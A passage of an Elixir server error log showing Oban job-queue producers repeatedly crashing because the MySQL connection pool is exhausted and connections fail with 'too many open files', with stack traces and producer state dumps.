    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:36:16.239190Z], limit: 5, uuid: "7f5fb05d-5733-4aba-9188-3d21ef9433fd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:36:16.239196Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.124877>, refresh_timer: #Reference<0.2525715032.1121189889.124861>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:36:28.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 826ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:36:16.241198Z], limit: 20, uuid: "159701e5-1823-492c-a6a4-8c41906ec4dd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:36:16.241204Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.124876>, refresh_timer: #Reference<0.2525715032.1121189889.124869>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:36:33.063000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:36:34.426000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:36:34.719000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:36:35.915000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:36:39.523000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:36:40.055000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:36:40.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1097ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:36:28.238876Z], limit: 50, uuid: "a82f9c22-cfa4-4b45-b546-07c7a25cefb2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:36:28.238881Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.20001>, refresh_timer: #Reference<0.2525715032.1121189889.125114>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:36:40.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1036ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:36:28.239780Z], limit: 5, uuid: "97b84dec-eb16-44e6-b882-d82c52f54434", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:36:28.239785Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.254051>, refresh_timer: #Reference<0.2525715032.1099431938.23921>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:36:40.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1078ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:36:28.239090Z], limit: 5, uuid: "1a1e2883-8368-42d3-9c50-8bb1aafd875f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:36:28.239095Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.254050>, refresh_timer: #Reference<0.2525715032.1121189889.125126>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:36:40.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1097ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:36:28.239744Z], limit: 3, uuid: "9c627e66-9d26-4b18-86fd-c5fa45d993b6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:36:28.239750Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.254047>, refresh_timer: #Reference<0.2525715032.1068498948.19999>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:36:40.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1062ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:36:28.238666Z], limit: 10, uuid: "5d75962d-180f-4a22-8056-cc03e6152866", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:36:28.238672Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.254049>, refresh_timer: #Reference<0.2525715032.1121189889.125106>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:36:40.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 813ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:36:28.241256Z], limit: 20, uuid: "18d99f48-a9d6-406f-8487-6ceee31512ac", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:36:28.241262Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.254048>, refresh_timer: #Reference<0.2525715032.1121189889.125164>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:36:41.608000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:36:45.589000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:36:46.420000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:36:47.640000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:36:52.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1084ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:36:40.243201Z], limit: 5, uuid: "dba33f35-bc53-4e1b-9383-67a6be491fa7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:36:40.243207Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.254383>, refresh_timer: #Reference<0.2525715032.1121189889.125369>, 